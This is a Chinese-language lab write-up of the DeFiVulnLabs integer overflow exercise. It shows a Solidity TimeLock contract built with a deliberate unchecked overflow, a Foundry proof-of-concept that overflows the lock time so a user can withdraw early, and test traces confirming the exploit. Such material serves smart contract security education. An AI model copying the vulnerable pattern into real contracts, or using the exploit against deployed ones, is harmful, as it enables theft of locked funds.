Skip to main content

Command Palette

Search for a command to run...

DeFiVulnLabs靶场(一)溢出漏洞1

Published
3 min readView as Markdown
C
酷愛計算機技術Ardently Love Computer Technology 長期關註反洗錢反欺詐Long-term Focus on Anti-Money Laundering and Anti-Fraud 精通支付結算的技術、系統、流程和製度Proficient in the Technology, System, Process and Institution of Payment and Settlement

DeFiVulnLabs详解汇总 [作者 Ice ThirdSpace]

DeFiVulnLabs靶场全系列详解(一)溢出漏洞

  • EXP

https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/Overflow.sol

  • 漏洞合约源代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;// 版本号小于 8.0

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease; // 时间锁增加,整数上溢出
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(
            block.timestamp > lockTime[msg.sender],
            "Lock time not expired"
        );

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}
  • 攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// this need to be older version of solidity from 0.8.0 solidty compiler checks for overflow and underflow

pragma abicoder v2;

import "../src/Overflow.sol";
import "forge-std/Test.sol";

contract ContractTest is Test {
    TimeLock TimeLockContract;
    address alice;
    address bob;

    function setUp() public {
        TimeLockContract = new TimeLock();
        alice = vm.addr(1);
        bob = vm.addr(2);
        vm.deal(alice, 1 ether);
        vm.deal(bob, 1 ether);
    }

    function testOverflowA() public {
        console.log("Alice balance", alice.balance);
        console.log("Bob balance", bob.balance);

        vm.startPrank(alice); 
        TimeLockContract.deposit{value: 1 ether}();
        console.log("Alice before balance", alice.balance);

        vm.expectRevert("Lock time not expired");
        TimeLockContract.withdraw();

        console.log("Alice after balance", alice.balance);
        vm.stopPrank();
    }

    function testOverflowB() public {
        vm.startPrank(bob);
        TimeLockContract.deposit{value: 1 ether}();
        console.log("Bob before balance", bob.balance);

        TimeLockContract.increaseLockTime(
            type(uint).max + 1 - TimeLockContract.lockTime(bob)// type(T).max 类型 T 可表示的最大值
        );

        TimeLockContract.withdraw();
        console.log("Bob after balance", bob.balance);
        vm.stopPrank();
    }
}

为了测试[整数溢出],编译器版本0.7.6。在Solidity0.8.0之前,默认是ABIEncoderV1,所以需要添加

pragma abicoder v2; 否则会报错

$ forge test Overflow.t.sol 
Compiler run failed:
Error (6594): Contract "ContractTest" does not use ABI coder v2 but wants to inherit from a contract which uses types that require it. Use "pragma abicoder v2;" for the inheriting contract as well to enable the feature.
  • 测试结果
$ forge test Overflow.t.sol -vvvv
[?] Compiling...
[?] Compiling 1 files with Solc 0.7.6
[?] Solc 0.7.6 finished in 3.46s
Compiler run successful!

Ran 2 tests for test/Overflow.t.sol:ContractTest
[PASS] testOverflowA() (gas: 77821)
Logs:
  Alice balance 1000000000000000000
  Bob balance 1000000000000000000
  Alice before balance 0
  Alice after balance 0

Traces:
  [77821] ContractTest::testOverflowA()
    ├─ [0] console::log("Alice balance", 1000000000000000000 [1e18]) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] console::log("Bob balance", 1000000000000000000 [1e18]) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] VM::startPrank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    │   └─ ← [Return]
    ├─ [44615] TimeLock::deposit{value: 1000000000000000000}()
    │   └─ ← [Stop]
    ├─ [0] console::log("Alice before balance", 0) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] VM::expectRevert(custom error 0xf28dceb3:  Lock time not expired)
    │   └─ ← [Return]
    ├─ [827] TimeLock::withdraw()
    │   └─ ← [Revert] Lock time not expired
    ├─ [0] console::log("Alice after balance", 0) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return]
    └─ ← [Stop]

[PASS] testOverflowB() (gas: 78780)
Logs:
  Bob before balance 0
  Bob after balance 1000000000000000000

Traces:
  [103741] ContractTest::testOverflowB()
    ├─ [0] VM::startPrank(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF)
    │   └─ ← [Return]
    ├─ [44615] TimeLock::deposit{value: 1000000000000000000}()
    │   └─ ← [Stop]
    ├─ [0] console::log("Bob before balance", 0) [staticcall]
    │   └─ ← [Stop]
    ├─ [858] TimeLock::lockTime(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
    │   └─ ← [Return] 604801 [6.048e5]
    ├─ [750] TimeLock::increaseLockTime(115792089237316195423570985008687907853269984665640564039457584007913129035135 [1.157e77])
    │   └─ ← [Stop]
    ├─ [33054] TimeLock::withdraw()
    │   ├─ [0] 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF::fallback{value: 1000000000000000000}()
    │   │   └─ ← [Stop]
    │   └─ ← [Stop]
    ├─ [0] console::log("Bob after balance", 1000000000000000000 [1e18]) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return]
    └─ ← [Stop]

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 22.38ms (2.76ms CPU time)

Ran 1 test suite in 244.79ms (22.38ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
  • 主要参考文章
https://learnblockchain.cn/docs/solidity/units-and-global-variables.html

https://learnblockchain.cn/article/5866

More from this blog

Penetration Test、Python、Weaponization

721 posts

微信 smartcat9999 反欺詐Anti-Fraud 反洗錢Anti-Money Laundering 反逃稅Anti-Tax Evasion 滲透測試Penetration Test 武器化Weaponization